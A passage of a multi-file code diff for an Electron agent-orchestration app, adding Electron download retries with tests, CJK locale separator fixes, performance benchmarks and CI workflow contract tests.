;(runSequential ? sequentialSamples : concurrentSamples).push(performance.now() - start)
}
}
const median = (samples) => {
const sorted = [...samples].sort((a, b) => a - b)
const middle = Math.floor(sorted.length / 2)
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
}
return { sequential: median(sequentialSamples), concurrent: median(concurrentSamples) }
}
const head = (await git(['rev-parse', 'HEAD'])).trim()
const parent = `${head}~1`
// Files that exist on both sides, spanning small to large so the fixed spawn
// cost and the size-dependent read cost are both represented.
const CANDIDATES = [
'src/main/git/status.ts',
'src/shared/agent-hook-listener.ts',
'src/renderer/src/components/TaskPage.tsx'
]
const files = []
for (const filePath of CANDIDATES) {
try {
await git(['cat-file', '-e', `${parent}:${filePath}`])
await git(['cat-file', '-e', `${head}:${filePath}`])
files.push(filePath)
} catch {
// Skip a path that does not exist on both sides in this checkout.
}
}
if (files.length === 0) {
throw new Error('no benchmark file exists at both HEAD and HEAD~1 in this checkout')
}
const pad = (value, width) => String(value).padStart(width)
console.log('One file diff = two git blob reads. Lower is better.')
console.log(
`iterations=${ITERATIONS} warmup=${WARMUP} (interleaved, medians) head=${head.slice(0, 9)}`
)
console.log(
`${pad('file', 26)} ${pad('sequential', 12)} ${pad('concurrent', 12)} ${pad('speedup', 9)} ${pad('saved', 10)}`
)
for (const filePath of files) {
const sequentialBytes = await readSequential(parent, head, filePath)
const concurrentBytes = await readConcurrent(parent, head, filePath)
if (sequentialBytes !== concurrentBytes) {
throw new Error(`byte mismatch for ${filePath}`)
}
const { sequential, concurrent } = await measureInterleaved(parent, head, filePath)
console.log(
`${pad(filePath.split('/').pop(), 26)} ${pad(`${sequential.toFixed(1)} ms`, 12)} ${pad(`${concurrent.toFixed(1)} ms`, 12)} ${pad(`${(sequential / concurrent).toFixed(2)}x`, 9)} ${pad(`${(sequential - concurrent).toFixed(1)} ms`, 10)}`
)
}
console.log(
'\nThe saving is per diff opened, and is dominated by process launch rather than\nfile size — which is why it holds roughly constant across these files.'
)
@@ -24,6 +24,20 @@ const { downloadArtifact } = electronRequire('@electron/get')
const targetPlatform = getElectronTargetPlatform()
const targetArch = getElectronTargetArch()
const platformPath = getElectronPlatformPath(targetPlatform)
const transientDownloadErrorCodes = new Set([
'EAI_AGAIN',
'ECONNREFUSED',
'ECONNRESET',
'ENETDOWN',
'ENETRESET',
'ENETUNREACH',
'ENOTFOUND',
'EPIPE',
'ETIMEDOUT',
'UND_ERR_CONNECT_TIMEOUT',
'UND_ERR_HEADERS_TIMEOUT',
'UND_ERR_SOCKET'
])
try {
// Why: Electron's own install.js can exit 0 while an async extract promise is
@@ -111,7 +125,7 @@ async function installElectronPackageBinary() {
const extractDir = join(tempDir, 'extract')
try {
const zipPath = await downloadArtifact({
const downloadOptions = {
version: electronVersion,
artifactName: 'electron',
platform: targetPlatform,
@@ -120,7 +134,8 @@ async function installElectronPackageBinary() {
force: true,
tempDirectory: tempDir,
...(shouldUseRemoteChecksums() ? {} : { checksums: electronRequire('./checksums.json') })
})
}
const zipPath = await downloadElectronArtifactWithRetry(downloadOptions)
// Why: CI has observed partial extracts directly under node_modules/electron
// that leave only dist/locales. Verify in temp before replacing package dist.
@@ -145,6 +160,82 @@ async function installElectronPackageBinary() {
}
}
async function downloadElectronArtifactWithRetry(downloadOptions) {
const retryDelays = getDownloadRetryDelays()
for (let attempt = 0; ; attempt += 1) {
try {
return await downloadArtifact(downloadOptions)
} catch (error) {
const retryDelay = retryDelays[attempt]
if (retryDelay === undefined || !isTransientDownloadError(error)) {
throw error
}
console.warn(
`[electron-package] Transient Electron download failure (${formatDownloadError(error)}); ` +
`retrying in ${retryDelay}ms (${attempt + 2}/${retryDelays.length + 1}).`
)
rmSync(downloadOptions.cacheRoot, { recursive: true, force: true })
await new Promise((resolveDelay) => setTimeout(resolveDelay, retryDelay))
}
}
}
function getDownloadRetryDelays() {
const configured = process.env.ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS
if (!configured) {
return [1_000, 3_000]
}
const delays = configured.split(',').map(Number)
if (delays.some((delay) => !Number.isSafeInteger(delay) || delay < 0)) {
throw new Error('ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers')
}
return delays
}
function isTransientDownloadError(error) {
for (const candidate of getErrorChain(error)) {
if (transientDownloadErrorCodes.has(candidate?.code)) {
return true
}
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
if (
statusCode === 408 ||
statusCode === 425 ||
statusCode === 429 ||
(statusCode >= 500 && statusCode < 600)
) {
return true
}
}
return false
}
function getErrorChain(error) {
const errors = []
let candidate = error
while (candidate && errors.length < 5) {
errors.push(candidate)
candidate = candidate.cause
}
return errors
}
function formatDownloadError(error) {
for (const candidate of getErrorChain(error)) {
const statusCode = candidate?.statusCode ?? candidate?.response?.statusCode
if (statusCode) {
return `HTTP ${statusCode}`
}
if (candidate?.code) {
return candidate.code
}
}
return error instanceof Error ? error.message : String(error)
}
function extractElectronArchive(zipPath, extractDir) {
mkdirSync(extractDir, { recursive: true })
// Why: extract-zip/Electron install.js can leave Node 24 with an unsettled
@@ -93,6 +93,102 @@ describe('install-electron-package-binary', () => {
}
})
it('retries transient Electron download failures', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir, {
downloadFailures: 1,
downloadErrorCode: 'ECONNRESET'
})
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
})
expect(result.status, result.stderr).toBe(0)
expect(
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
).toHaveLength(2)
expect(result.stderr).toContain('Transient Electron download failure (ECONNRESET)')
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('fails after exhausting transient Electron download retries', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir, {
downloadFailures: 5,
downloadErrorCode: 'ECONNRESET'
})
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
})
expect(result.status).toBe(1)
expect(
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
).toHaveLength(3)
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('rejects invalid Electron download retry delays before downloading', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir)
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,nope'
})
expect(result.status).toBe(1)
expect(result.stderr).toContain(
'ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS must contain non-negative integers'
)
expect(existsSync(join(projectDir, 'electron-get.log'))).toBe(false)
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('does not retry permanent Electron download failures', () => {
const projectDir = mkTempProject()
try {
writeFakeElectronPackage(projectDir)
writeFakeElectronGet(projectDir, {
downloadFailures: 3,
downloadErrorCode: 'EACCES'
})
writeFakeExtractor(projectDir, { createExecutable: true })
const result = runInstallScript(projectDir, {
ORCA_ELECTRON_PACKAGE_RETRY_DELAYS_MS: '0,0'
})
expect(result.status).toBe(1)
expect(
readFileSync(join(projectDir, 'electron-get.log'), 'utf8').trim().split('\n')
).toHaveLength(1)
expect(result.stderr).not.toContain('Transient Electron download failure')
} finally {
rmSync(projectDir, { recursive: true, force: true })
}
})
it('fails instead of silently accepting a partial Electron extract', () => {
const projectDir = mkTempProject()
@@ -181,7 +277,10 @@ module.exports = path.join(__dirname, 'dist', fs.readFileSync(pathFile, 'utf8'))
)
}
function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {}) {
function writeFakeElectronGet(
projectDir,
{ downloadNeverSettles = false, downloadFailures = 0, downloadErrorCode = 'ECONNRESET' } = {}
) {
const getDir = join(projectDir, 'node_modules', 'electron', 'node_modules', '@electron', 'get')
mkdirSync(getDir, { recursive: true })
writeFileSync(
@@ -189,7 +288,9 @@ function writeFakeElectronGet(projectDir, { downloadNeverSettles = false } = {})
`
const { mkdirSync, writeFileSync, appendFileSync } = require('node:fs')
const { join } = require('node:path')
let downloadAttempt = 0
exports.downloadArtifact = async function downloadArtifact(details) {
downloadAttempt += 1
appendFileSync(
'electron-get.log',
'cacheRoot=' + details.cacheRoot + ' platform=' + details.platform + ' arch=' + details.arch + '\\n'
@@ -197,6 +298,12 @@ exports.downloadArtifact = async function downloadArtifact(details) {
if (${JSON.stringify(downloadNeverSettles)}) {
return new Promise(() => {})
}
if (downloadAttempt <= ${JSON.stringify(downloadFailures)}) {
const cause = Object.assign(new Error('download failed'), {
code: ${JSON.stringify(downloadErrorCode)}
})
throw Object.assign(new TypeError('fetch failed'), { cause })
}
mkdirSync(details.cacheRoot, { recursive: true })
const artifactPath = join(details.cacheRoot, 'electron.zip')
writeFileSync(artifactPath, 'fake zip')
@@ -0,0 +1,39 @@
import { describe, expect, it } from 'vitest'
import { repairTranslatedValue } from './locale-translation-policy.mjs'
// The theme-picker count row renders "Showing {count}" immediately followed by one of these
// fragments, so translations must keep a leading separator or the numbers fuse ("표시 중 3030 중").
describe('locale-count-fragment-separator', () => {
it('keeps a slash between shown and total theme counts in CJK locales', () => {
const brokenByLocale = { ko: '{{value0}} 중', ja: '{{value0}}の', zh: '{{value0}} 的' }
for (const [locale, localeValue] of Object.entries(brokenByLocale)) {
expect(
repairTranslatedValue({
key: 'auto.components.settings.SettingsFormControls.cb330ef7f8',
enValue: ' of {{value0}}',
localeValue,
locale
})
).toBe('/{{value0}}')
}
})
it('keeps a leading space before the search-match fragment in CJK locales', () => {
const cases = [
['ko', '"{{value0}}"과(와) 일치', ' "{{value0}}"과(와) 일치'],
['ja', '「{{value0}}」に一致', ' 「{{value0}}」に一致'],
['zh', '匹配“{{value0}}”', ' 匹配“{{value0}}”']
]
for (const [locale, localeValue, repaired] of cases) {
expect(
repairTranslatedValue({
key: 'auto.components.settings.SettingsFormControls.c822571b2e',
enValue: ' matching "{{value0}}"',
localeValue,
locale
})
).toBe(repaired)
}
})
})
@@ -19,6 +19,18 @@ export const CROSS_LOCALE_KEY_OVERRIDES = {
zh: '集成',
ja: '連携'
},
// Search-match fragment concatenated flush after the visible theme count; MT dropped the
// en leading space that separates it from the count.
'auto.components.settings.SettingsFormControls.c822571b2e': {
zh: ' 匹配“{{value0}}”',
ja: ' 「{{value0}}」に一致'
},
// Total-count fragment on the same row; without the separator "Showing 30 of 30"
// rendered as "表示中 3030の" / "显示中 3030 的".
'auto.components.settings.SettingsFormControls.cb330ef7f8': {
zh: '/{{value0}}',
ja: '/{{value0}}'
},
'auto.components.settings.TasksPane.6b23a34f6d': {
zh: 'Jira',
ja: 'Jira'
+5 -2
View File
@@ -2667,7 +2667,10 @@
"ko": "SSH를 통해 기존 머신의 파일, terminals, Git, 워크스페이스를 사용합니다."
},
"auto.components.settings.SettingsFormControls.c822571b2e": {
"ko": "\"{{value0}}\"과(와) 일치"
"ko": " \"{{value0}}\"과(와) 일치"
},
"auto.components.settings.SettingsFormControls.cb330ef7f8": {
"ko": "/{{value0}}"
},
"auto.components.settings.SettingsFormControls.fbb428db98": {
"ko": "선택됨:"
@@ -2811,7 +2814,7 @@
"ko": "{{value0}} 메가바이트"
},
"auto.components.settings.TerminalPane.6e6480a7df": {
"ko": "terminal의 프로그램(tmux, Neovim, fzf, SSH)이 시스템 클립보드에 복사할 수 있게 합니다."
"ko": "terminal의 프로그램(Zellij, tmux, Neovim, fzf, Grok, SSH)이 시스템 클립보드에 복사할 수 있게 합니다."
},
"auto.components.settings.TerminalPane.8eefeaa3da": {
"ko": "마우스를 따라 포커스 이동"
@@ -0,0 +1,192 @@
#!/usr/bin/env node
// Benchmark: cost of the mobile agent-status projection per store mutation.
//
// buildRuntimeMobileAgentStatusProjection runs on the App.tsx global store
// subscriber. setAgentStatus replaces one entry and re-spreads
// agentStatusByPaneKey, which defeats the reference-equality skip gate, so before
// the fix EVERY live agent was re-serialized on EVERY status ping — each carrying
// a prompt, a 20-entry stateHistory, toolInput, and an 8 KB-capped
// lastAssistantMessage.
//
// The fix memoizes each row's JSON by entry identity, mirroring the
// cachedTabsProjection pattern already in the same file, so a ping re-serializes
// only the agent that actually changed.
//
// The bucket width is re-read from the real module so a drifted constant fails
// loudly here instead of quietly changing what this benchmark measures.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const GRAPH_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/renderer/src/runtime/sync-runtime-graph.ts', import.meta.url)),
'utf8'
)
const bucketMatch = GRAPH_SOURCE.match(/AGENT_STATUS_SYNC_UPDATED_AT_BUCKET_MS = ([0-9_]+)/)
if (!bucketMatch) {
throw new Error(
'sync-runtime-graph.ts no longer defines the updatedAt bucket; re-sync this benchmark.'
)
}
const BUCKET_MS = Number(bucketMatch[1].replaceAll('_', ''))
const ITERATIONS = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_ITERATIONS ?? '400', 10)
const WARMUP = Number.parseInt(process.env.ORCA_AGENT_PROJECTION_BENCH_WARMUP ?? '60', 10)
for (const [name, value] of [
['ORCA_AGENT_PROJECTION_BENCH_ITERATIONS', ITERATIONS],
['ORCA_AGENT_PROJECTION_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function toRow(paneKey, entry) {
return {
paneKey,
entryPaneKey: entry.paneKey,
state: entry.state,
prompt: entry.prompt,
updatedAtBucket: Math.floor(entry.updatedAt / BUCKET_MS),
stateStartedAt: entry.stateStartedAt,
agentType: entry.agentType ?? null,
terminalTitle: entry.terminalTitle ?? null,
stateHistory: entry.stateHistory.map((history) => ({
state: history.state,
prompt: history.prompt,
startedAt: history.startedAt,
interrupted: history.interrupted ?? null
})),
toolName: entry.toolName ?? null,
toolInput: entry.toolInput ?? null,
interactivePrompt: entry.interactivePrompt ?? null,
lastAssistantMessage: entry.lastAssistantMessage ?? null,
interrupted: entry.interrupted ?? null
}
}
function serializeEntry(paneKey, entry) {
return JSON.stringify(toRow(paneKey, entry))
}
// Pre-fix: build plain rows and stringify the array once — no per-row roundtrip,
// which the original never paid and which would inflate the reported speedup.
function buildFull(map) {
return JSON.stringify(
Object.entries(map)
.sort(([a], [b]) => a.localeCompare(b))
.map(([paneKey, entry]) => toRow(paneKey, entry))
)
}
// Post-fix: reuse each row's JSON while its entry object is unchanged.
function makeCachedBuilder() {
let cache = null
return (map) => {
if (cache?.source === map) {
return cache.projection
}
const previous = cache?.entries
const entries = new Map()
const parts = []
for (const [paneKey, entry] of Object.entries(map).sort(([a], [b]) => a.localeCompare(b))) {
const prior = previous?.get(paneKey)
const row =
prior?.entry === entry ? prior : { entry, projection: serializeEntry(paneKey, entry) }
entries.set(paneKey, row)
parts.push(row.projection)
}
const projection = `[${parts.join(',')}]`
cache = { source: map, entries, projection }
return projection
}
}
// A live agent as the store actually holds it.
function makeEntry(index, updatedAt) {
return {
paneKey: `tab-${index}:leaf-0`,
state: 'working',
prompt: 'implement the feature and run the tests '.repeat(4),
updatedAt,
stateStartedAt: 1740000000000,
agentType: 'claude',
terminalTitle: `agent ${index}`,
stateHistory: Array.from({ length: 20 }, (_value, step) => ({
state: 'working',
prompt: `step ${step} of the current turn`,
startedAt: 1740000000000 + step,
interrupted: null
})),
toolName: 'shell_command',
toolInput: 'rg --line-number "pattern" src/ '.repeat(8),
interactivePrompt: null,
// The cap the store applies to assistant text.
lastAssistantMessage: 'x'.repeat(8000),
interrupted: null
}
}
function makeMap(agents) {
const map = {}
for (let index = 0; index < agents; index += 1) {
map[`tab-${index}:leaf-0`] = makeEntry(index, 1740000000000 + index * BUCKET_MS)
}
return map
}
// One status ping: one entry replaced, the map re-spread, every other entry
// reference-identical — exactly what setAgentStatus produces.
function ping(map, round) {
return {
...map,
'tab-0:leaf-0': makeEntry(0, 1740000000000 + BUCKET_MS * (round + 1))
}
}
function measure(build, map) {
let current = map
for (let index = 0; index < WARMUP; index += 1) {
current = ping(current, index)
build(current)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
current = ping(current, index)
build(current)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const pad = (value, width) => String(value).padStart(width)
console.log('Mobile agent-status projection, per status ping (one agent changed)')
console.log(`bucket=${BUCKET_MS}ms iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(`${pad('agents', 8)} ${pad('full', 11)} ${pad('cached', 11)} ${pad('speedup', 9)}`)
for (const agents of [3, 8, 20, 40]) {
const map = makeMap(agents)
const cachedBuilder = makeCachedBuilder()
if (buildFull(map) !== cachedBuilder(map)) {
throw new Error(`projection mismatch at ${agents} agents`)
}
// Why also after a ping: the cold call reuses nothing, so a stale-row bug would
// only surface once the cache is actually exercised.
const pinged = ping(map, 0)
if (buildFull(pinged) !== cachedBuilder(pinged)) {
throw new Error(`projection mismatch after a ping at ${agents} agents`)
}
const full = measure(buildFull, map)
const cached = measure(makeCachedBuilder(), map)
console.log(
`${pad(agents, 8)} ${pad(`${full.toFixed(4)} ms`, 11)} ${pad(`${cached.toFixed(4)} ms`, 11)} ${pad(`${(full / cached).toFixed(1)}x`, 9)}`
)
}
console.log(
'\nThis runs on the global store subscriber, so the cost is paid per status ping\nand scales with the number of agents running in parallel — the workload this\napp exists for.'
)
+2
View File
@@ -25,6 +25,7 @@ describe('orca-dev package bin', () => {
`fs.writeFileSync(${JSON.stringify(outputPath)}, JSON.stringify({`,
' argv: process.argv.slice(2),',
' userDataPath: process.env.ORCA_USER_DATA_PATH,',
' devCliInvocation: process.env.ORCA_DEV_CLI_INVOCATION,',
' appExecutable: process.env.ORCA_APP_EXECUTABLE',
'}));'
].join('\n'),
@@ -47,6 +48,7 @@ describe('orca-dev package bin', () => {
expect(JSON.parse(readFileSync(outputPath, 'utf8'))).toEqual({
argv: ['--help'],
userDataPath: path.join(root, 'user-data'),
devCliInvocation: '1',
appExecutable: path.join(root, 'Electron')
})
})
+10
View File
@@ -3,6 +3,7 @@
import { spawnSync } from 'node:child_process'
import { accessSync, constants, existsSync, realpathSync, statSync } from 'node:fs'
import path from 'node:path'
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
const scriptPath = realpathSync(import.meta.filename)
const scriptDir = path.dirname(scriptPath)
@@ -16,6 +17,8 @@ if (!existsSync(cliEntry)) {
}
process.env.ORCA_USER_DATA_PATH = process.env.ORCA_DEV_USER_DATA_PATH ?? getDefaultDevUserDataPath()
// Why: custom dev profiles do not necessarily contain "orca-dev" in their path; carry explicit provenance into the CLI.
process.env.ORCA_DEV_CLI_INVOCATION = '1'
const electronExecutable = getElectronExecutable()
if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
@@ -23,6 +26,13 @@ if (!process.env.ORCA_APP_EXECUTABLE && isRunnableFile(electronExecutable)) {
process.env.ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT = '1'
}
// Why: headless `orca-dev serve` skips the Electron dev runner that normally installs terminal CLI shims.
prepareDevCliTerminalWrappers({
repoRoot,
userDataPath: process.env.ORCA_USER_DATA_PATH,
electronExecutable: process.env.ORCA_APP_EXECUTABLE ?? electronExecutable
})
const result = spawnSync(process.execPath, [cliEntry, ...process.argv.slice(2)], {
stdio: 'inherit',
env: process.env
@@ -29,10 +29,14 @@ describe('orchestration skill guidance', () => {
const skill = readSkill()
const toolBoundary = getSection(skill, 'Tool Boundary')
expect(toolBoundary).toContain(
'must create Orca runtime state with `orca orchestration task-create` and `orca orchestration dispatch --inject`'
expect(toolBoundary).toContain('must create or bind a Run')
expect(toolBoundary).toContain('create the Task with `orca orchestration task-create`')
expect(toolBoundary).toContain('preferred `orca orchestration worker-start` composition')
expect(toolBoundary).toContain('low-level `orca orchestration dispatch --inject` path')
expect(toolBoundary).not.toContain('or `orca orchestration run`')
expect(skill).toContain(
'`coordinator-start`, `coordinator-stop`, `run`, and `run-stop` are retired scheduler commands'
)
expect(toolBoundary).toContain('or `orca orchestration run`')
expect(toolBoundary).toContain(
'Do not substitute non-Orca subagent tools, generic agent-spawn APIs, or chat-only parallel worker features'
)
@@ -47,6 +51,20 @@ describe('orchestration skill guidance', () => {
)
})
it('teaches the hard cutover without reviving a legacy executor', () => {
const skill = readSkill()
const migration = getSection(skill, 'Contract Migration')
expect(migration).toContain('hard cutover')
expect(migration).toContain('effectsApplied')
expect(migration).toContain('skills get orchestration --full')
expect(migration).toContain('Do not retry the rejected command unchanged')
expect(migration).toContain('no longer supervised')
expect(migration).toContain('task-list --run run_legacy_local')
expect(migration).toContain('Read-only inspection never consumes legacy mail')
expect(migration).toContain('does not run a legacy scheduler, translate old writes, or drain')
})
it('treats long-running worker waits as liveness checkpoints, not failures', () => {
const skill = readSkill()
@@ -213,13 +231,13 @@ describe('orchestration skill guidance', () => {
const messaging = getSection(skill, 'Messaging')
const workerTerminals = getSection(skill, 'Worker Terminals')
const agentFirstExample = workerTerminals.match(
/```bash\norca worktree create --name <task-name> --agent codex --json\n[\s\S]*?```/
/```bash\norca worktree create --name <task-name> --agent codex --setup run --json\n[\s\S]*?```/
)?.[0]
expect(workerTerminals).toContain('For an allowed new worktree, use agent-first:')
expect(workerTerminals).toContain('fallback shell + agent pair')
expect(workerTerminals).toContain(
'Repo setup or default-terminal settings may still add tabs or splits'
'repo setup and default-terminal settings may add intentional tabs or splits'
)
expect(workerTerminals).toContain('without configured default tabs')
expect(workerTerminals).toContain(
@@ -229,12 +247,11 @@ describe('orchestration skill guidance', () => {
expect(workerTerminals).not.toContain('ends with **one** agent tab')
expect(agentFirstExample).toBeDefined()
expect(agentFirstExample).not.toContain('orca terminal list')
expect(agentFirstExample).toContain('agentTerminalHandle')
expect(agentFirstExample).toContain('startupTerminal.handle')
expect(messaging).toContain(
'Use `startupTerminal.handle` from the create response when present'
)
expect(messaging).toContain('continue with the replacement only')
expect(messaging).toContain('it does not remotely wake another terminal')
expect(messaging).toContain('Prefer `agentTerminalHandle` from the create response')
expect(messaging).toContain('Continue with the replacement handle only')
expect(messaging).toContain('never writes to terminal input or remotely wakes another terminal')
expect(messaging).toContain('Use `orchestration dispatch --inject` to deliver a tracked task')
})
})
@@ -433,7 +433,7 @@ describe('Electron runtime package contract', () => {
expect(afterInstallScript).not.toContain('chmod 0755 "$sandbox"')
})
it('keeps release-cut version commits skill-independent and taggable on retries', () => {
it('advances only the skill release ledger in a taggable release-cut commit', () => {
const releaseWorkflow = readFileSync(
join(projectDir, '.github/workflows/release-cut.yml'),
'utf8'
@@ -447,13 +447,30 @@ describe('Electron runtime package contract', () => {
const bumpIndex = bumpStep.run.indexOf(
'npm version "$VERSION" --no-git-tag-version --allow-same-version'
)
const stageIndex = bumpStep.run.indexOf('git add package.json')
const generateIndex = bumpStep.run.indexOf(
'node config/scripts/generate-skill-bundle-manifest.mjs --release "$VERSION"'
)
const commands = bumpStep.run.replace(/^\s*#.*$/gm, '')
// Unanchored: a `git add` chained after `&&` stages just as effectively.
const stagedPaths = [...commands.matchAll(/\bgit add (.+)$/gm)].flatMap((match) =>
match[1].trim().split(/\s+/)
)
// Quotes trimmed and deduped: the index guard names the row a second time.
const mentioned = new Set(commands.match(/resources[/\\]skills[^\s'"]*/g))
expect(checkoutStep.with['fetch-depth']).toBe(0)
expect(bumpIndex).toBeGreaterThanOrEqual(0)
expect(stageIndex).toBeGreaterThan(bumpIndex)
// Why: version-only cuts must not mutate content-addressed skill artifacts.
expect(bumpStep.run).not.toContain('generate-skill-bundle-manifest')
expect(bumpStep.run).not.toContain('resources/skills')
// Why: the cut is the only point that advances the release ledger, so this
// tag's revision is never rebuilt later — it appends that row, nothing else.
expect(generateIndex).toBeGreaterThan(bumpIndex)
expect(bumpStep.run.indexOf('git add package.json')).toBeGreaterThan(generateIndex)
expect(stagedPaths).toEqual(['package.json', 'resources/skills/release-mapping.json'])
// Every distinct mention must be staged, so a copy, a redirect, or a path
// held in a variable cannot reach the content-addressed artifacts. Matched
// without a trailing slash so `dir="resources/skills"` still counts.
expect([...mentioned]).toEqual(stagedPaths.slice(1))
// Regeneration is banned job-wide by the generator suite. Here: `-a`, `-am`,
// and `--all` sweep unstaged artifacts in; `--allow-empty` below must not.
expect(commands).not.toMatch(/\bcommit\b[^\n]*(?:\s-[a-z]*a[a-z]*\b|\s--all\b)/)
expect(bumpStep.run).toContain('git diff --cached --quiet')
expect(bumpStep.run).toContain('git commit --allow-empty -m "$commit_message"')
})
@@ -510,7 +527,7 @@ describe('Electron runtime package contract', () => {
it('installs the Electron package binary in PR checks without changing native module ABI', () => {
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
const parsedWorkflow = parse(prWorkflow)
const installStep = parsedWorkflow.jobs.verify.steps.find(
const installStep = parsedWorkflow.jobs.test.steps.find(
(step) => step.name === 'Install Electron package binary for tests'
)
@@ -520,7 +537,7 @@ describe('Electron runtime package contract', () => {
it('smokes the packaged CLI from outside the checkout in PR checks', () => {
const prWorkflow = readFileSync(join(projectDir, '.github/workflows/pr.yml'), 'utf8')
const parsedWorkflow = parse(prWorkflow)
const smokeStep = parsedWorkflow.jobs.verify.steps.find(
const smokeStep = parsedWorkflow.jobs.package.steps.find(
(step) => step.name === 'Smoke packaged CLI'
)
@@ -0,0 +1,87 @@
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import type { Plugin, Rollup } from 'vite'
import { afterEach, describe, expect, it } from 'vitest'
import { createPlainNodeEntryGuardPlugin } from '../../build-plugins/plain-node-entry-guard'
let outputDir: string | undefined
afterEach(() => {
if (outputDir) {
rmSync(outputDir, { recursive: true, force: true })
outputDir = undefined
}
})
function createOutputDir(): string {
outputDir = mkdtempSync(join(tmpdir(), 'orca-plain-node-entry-guard-'))
return outputDir
}
function createBundle(code = ''): Rollup.OutputBundle {
return {
'daemon-entry.js': {
type: 'chunk',
code,
dynamicImports: [],
fileName: 'daemon-entry.js',
imports: [],
isEntry: true,
name: 'daemon-entry'
} as Rollup.OutputChunk
}
}
function runWriteBundle(plugin: Plugin, dir: string, code = ''): void {
const hook = plugin.writeBundle
if (typeof hook !== 'function') {
throw new Error('Expected writeBundle hook')
}
hook.call(
{ meta: { watchMode: false } } as never,
{ dir } as Rollup.NormalizedOutputOptions,
createBundle(code)
)
}
function runCloseBundle(plugin: Plugin): void {
const hook = plugin.closeBundle
if (typeof hook !== 'function') {
throw new Error('Expected closeBundle hook')
}
hook.call({} as never)
}
describe('plain Node entry guard', () => {
it('smoke-loads the daemon after output files are written', () => {
const dir = createOutputDir()
const plugin = createPlainNodeEntryGuardPlugin()
expect(() => runWriteBundle(plugin, dir)).not.toThrow()
writeFileSync(
join(dir, 'daemon-entry.js'),
'console.error("Usage: daemon-entry <socket>"); process.exit(1)\n'
)
expect(() => runCloseBundle(plugin)).not.toThrow()
})
it('runs the deferred smoke from closeBundle', () => {
const dir = createOutputDir()
const plugin = createPlainNodeEntryGuardPlugin()
runWriteBundle(plugin, dir)
writeFileSync(join(dir, 'daemon-entry.js'), "require('./missing-module')\n")
expect(() => runCloseBundle(plugin)).toThrow('failed to load under plain Node')
})
it('rejects Electron imports during the static bundle scan', () => {
const plugin = createPlainNodeEntryGuardPlugin()
expect(() => runWriteBundle(plugin, createOutputDir(), 'require("electron")')).toThrow(
'requires electron'
)
})
})
@@ -0,0 +1,171 @@
import { globSync, readFileSync } from 'node:fs'
import { parse } from 'yaml'
import { describe, expect, it } from 'vitest'
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
const dependencyAction = parse(
readFileSync('.github/actions/install-node-dependencies/action.yml', 'utf8')
)
const packageJson = JSON.parse(readFileSync('package.json', 'utf8'))
const shellContractFiles = [
'src/main/daemon/shell-ready.test.ts',
'src/main/providers/local-pty-shell-ready.test.ts',
'src/main/providers/__tests__/shell-ready-framework-example.test.ts',
'src/shared/posix-command-path-lookup.test.ts'
]
const patchedNodePtyContractFiles = [
'src/main/daemon/node-pty-fd-leak.test.ts',
'src/main/pty/omp-shell-wrapper.node-pty.test.ts'
]
const nativeShellContractFiles = [...shellContractFiles, ...patchedNodePtyContractFiles]
const testFilePatterns = [
'config/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
'src/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
'tests/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
'tools/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}'
]
const realZshUsage =
/(?:spawnSync|execFileSync|spawn)\(\s*['"](?:\/(?:usr\/)?bin\/)?zsh['"]|spawnSync\(\s*['"]which['"]\s*,\s*\[\s*['"]zsh['"]|name:\s*['"]zsh['"]\s*,\s*path:\s*executablePath/
describe('PR workflow parallelism', () => {
it('cancels superseded runs for the same pull request', () => {
expect(workflow.concurrency.group).toBe('pr-checks-${{ github.event.pull_request.number }}')
expect(workflow.concurrency['cancel-in-progress']).toBe(true)
})
it('grants the PR workflow read-only repository access', () => {
expect(workflow.permissions).toEqual({ contents: 'read' })
})
it('shards the general test suite across sixteen runners', () => {
expect(workflow.jobs.test.strategy.matrix.shard).toEqual(
Array.from({ length: 16 }, (_, index) => index + 1)
)
const testStep = workflow.jobs.test.steps.find((step) => step.name === 'Test shard')
